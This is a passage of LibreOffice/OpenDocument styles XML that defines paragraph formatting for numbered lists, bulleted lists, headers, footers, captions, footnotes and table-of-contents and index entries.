style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.423cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_1_20_Cont." style:display-name="Numbering 1 Cont." style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_2_20_Start" style:display-name="Numbering 2 Start" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.998cm" fo:margin-right="0cm" fo:margin-top="0.423cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_2" style:display-name="Numbering 2" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.998cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_2_20_End" style:display-name="Numbering 2 End" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.998cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.423cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_2_20_Cont." style:display-name="Numbering 2 Cont." style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.998cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_3_20_Start" style:display-name="Numbering 3 Start" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.498cm" fo:margin-right="0cm" fo:margin-top="0.423cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_3" style:display-name="Numbering 3" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.498cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_3_20_End" style:display-name="Numbering 3 End" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.498cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.423cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_3_20_Cont." style:display-name="Numbering 3 Cont." style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.498cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_4_20_Start" style:display-name="Numbering 4 Start" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.997cm" fo:margin-right="0cm" fo:margin-top="0.423cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_4" style:display-name="Numbering 4" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.997cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_4_20_End" style:display-name="Numbering 4 End" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.997cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.423cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_4_20_Cont." style:display-name="Numbering 4 Cont." style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.997cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_5_20_Start" style:display-name="Numbering 5 Start" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.496cm" fo:margin-right="0cm" fo:margin-top="0.423cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_5" style:display-name="Numbering 5" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.496cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_5_20_End" style:display-name="Numbering 5 End" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.496cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.423cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_5_20_Cont." style:display-name="Numbering 5 Cont." style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.496cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_1_20_Start" style:display-name="List 1 Start" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0.423cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_1" style:display-name="List 1" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_1_20_End" style:display-name="List 1 End" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.423cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_1_20_Cont." style:display-name="List 1 Cont." style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_2_20_Start" style:display-name="List 2 Start" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.998cm" fo:margin-right="0cm" fo:margin-top="0.423cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_2" style:display-name="List 2" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.998cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_2_20_End" style:display-name="List 2 End" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.998cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.423cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_2_20_Cont." style:display-name="List 2 Cont." style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.998cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_3_20_Start" style:display-name="List 3 Start" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.498cm" fo:margin-right="0cm" fo:margin-top="0.423cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_3" style:display-name="List 3" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.498cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_3_20_End" style:display-name="List 3 End" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.498cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.423cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_3_20_Cont." style:display-name="List 3 Cont." style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.498cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_4_20_Start" style:display-name="List 4 Start" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.997cm" fo:margin-right="0cm" fo:margin-top="0.423cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_4" style:display-name="List 4" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.997cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_4_20_End" style:display-name="List 4 End" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.997cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.423cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_4_20_Cont." style:display-name="List 4 Cont." style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.997cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_5_20_Start" style:display-name="List 5 Start" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.496cm" fo:margin-right="0cm" fo:margin-top="0.423cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_5" style:display-name="List 5" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.496cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_5_20_End" style:display-name="List 5 End" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.496cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.423cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_5_20_Cont." style:display-name="List 5 Cont." style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.496cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Header_20_and_20_Footer" style:display-name="Header and Footer" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties text:number-lines="false" text:line-number="0"> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Header" style:family="paragraph" style:parent-style-name="Standard" style:class="extra" style:master-page-name=""> <style:paragraph-properties fo:text-align="end" style:justify-single-word="false" style:page-number="auto" fo:padding="0.049cm" fo:border-left="none" fo:border-right="none" fo:border-top="none" fo:border-bottom="0.002cm solid #000000" style:shadow="none"> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> <style:text-properties fo:font-variant="normal" fo:text-transform="none" fo:font-style="italic"/> </style:style> <style:style style:name="Header_20_left" style:display-name="Header left" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Header_20_right" style:display-name="Header right" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Footer" style:family="paragraph" style:parent-style-name="Standard" style:class="extra" style:master-page-name=""> <style:paragraph-properties fo:text-align="center" style:justify-single-word="false" style:page-number="auto" text:number-lines="false" text:line-number="0"> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> <style:text-properties fo:font-size="11pt"/> </style:style> <style:style style:name="Footer_20_left" style:display-name="Footer left" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Footer_20_right" style:display-name="Footer right" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Table_20_Contents" style:display-name="Table Contents" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="extra"/> <style:style style:name="Table_20_Heading" style:display-name="Table Heading" style:family="paragraph" style:parent-style-name="Table_20_Contents" style:class="extra"> <style:paragraph-properties fo:text-align="center" style:justify-single-word="false"/> <style:text-properties fo:font-style="italic" fo:font-weight="bold"/> </style:style> <style:style style:name="Caption" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="0.212cm" fo:margin-bottom="0.212cm"/> </style:style> <style:style style:name="Illustration" style:family="paragraph" style:parent-style-name="Caption" style:class="extra"/> <style:style style:name="Table" style:family="paragraph" style:parent-style-name="Caption" style:class="extra"/> <style:style style:name="Text" style:family="paragraph" style:parent-style-name="Caption" style:class="extra" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="0.21cm" fo:margin-bottom="0.21cm" style:page-number="auto"/> </style:style> <style:style style:name="Frame_20_contents" style:display-name="Frame contents" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="extra"/> <style:style style:name="Footnote" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> <style:text-properties fo:font-size="10pt"/> </style:style> <style:style style:name="Addressee" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="0cm" fo:margin-bottom="0.106cm"/> </style:style> <style:style style:name="Sender" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="0cm" fo:margin-bottom="0.106cm" fo:line-height="100%" text:number-lines="false" text:line-number="0"/> </style:style> <style:style style:name="Endnote" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="-0.499cm" style:auto-text-indent="false" text:number-lines="false" text:line-number="0"/> <style:text-properties fo:font-size="10pt"/> </style:style> <style:style style:name="Drawing" style:family="paragraph" style:parent-style-name="Caption" style:class="extra"/> <style:style style:name="Index" style:family="paragraph" style:parent-style-name="Standard" style:class="index"/> <style:style style:name="Index_20_Heading" style:display-name="Index Heading" style:family="paragraph" style:parent-style-name="Heading" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> <style:text-properties fo:font-size="16pt" fo:font-weight="bold"/> </style:style> <style:style style:name="Index_20_1" style:display-name="Index 1" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Index_20_2" style:display-name="Index 2" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Index_20_3" style:display-name="Index 3" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Index_20_Separator" style:display-name="Index Separator" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Contents_20_Heading" style:display-name="Contents Heading" style:family="paragraph" style:parent-style-name="Heading" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> <style:text-properties fo:font-size="16pt" fo:font-weight="bold"/> </style:style> <style:style style:name="Contents_20_1" style:display-name="Contents 1" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="17.002cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Contents_20_2" style:display-name="Contents 2" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="16.503cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Contents_20_3" style:display-name="Contents 3" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.998cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="16.004cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Contents_20_4" style:display-name="Contents 4" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.498cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="15.505cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Contents_20_5" style:display-name="Contents 5" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.997cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="15.005cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="User_20_Index_20_Heading" style:display-name="User Index Heading" style:family="paragraph" style:parent-style-name="Heading" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> <style:text-properties fo:font-size="16pt" fo:font-weight="bold"/> </style:style> <style:style style:name="User_20_Index_20_1" style:display-name="User Index 1" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="17.002cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="User_20_Index_20_2" style:display-name="User Index 2" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="16.503cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="User_20_Index_20_3" style:display-name="User Index 3" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.998cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="16.004cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="User_20_Index_20_4" style:display-name="User Index 4" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.498cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="15.505cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="User_20_Index_20_5" style:display-name="User Index 5" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1.997cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="15.005cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Contents_20_6" style:display-name="Contents 6" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.496cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="11.105cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Contents_20_7" style:display-name="Contents 7" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.995cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="10.606cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Contents_20_8" style:display-name="Contents 8" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="3.494cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="10.107cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Contents_20_9" style:display-name="Contents 9" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="3.993cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="9.608cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Contents_20_10" style:display-name="Contents 10" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="4.493cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="9.109cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Illustration_20_Index_20_Heading" style:display-name="Illustration Index Heading" style:family="paragraph" style:parent-style-name="Heading" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false" text:number-lines="false" text:line-number="0"/> <style:text-properties fo:font-size="16pt" fo:font-weight="bold"/> </style:style> <style:style style:name="Illustration_20_Index_20_1" style:display-name="Illustration Index 1" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="13.601cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Object_20_index_20_heading" style:display-name="Object index heading" style:family="paragraph" style:parent-style-name="Heading" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false" text:number-lines="false" text:line-number="0"/> <style:text-properties fo:font-size="16pt" fo:font-weight="bold"/> </style:style> <style:style 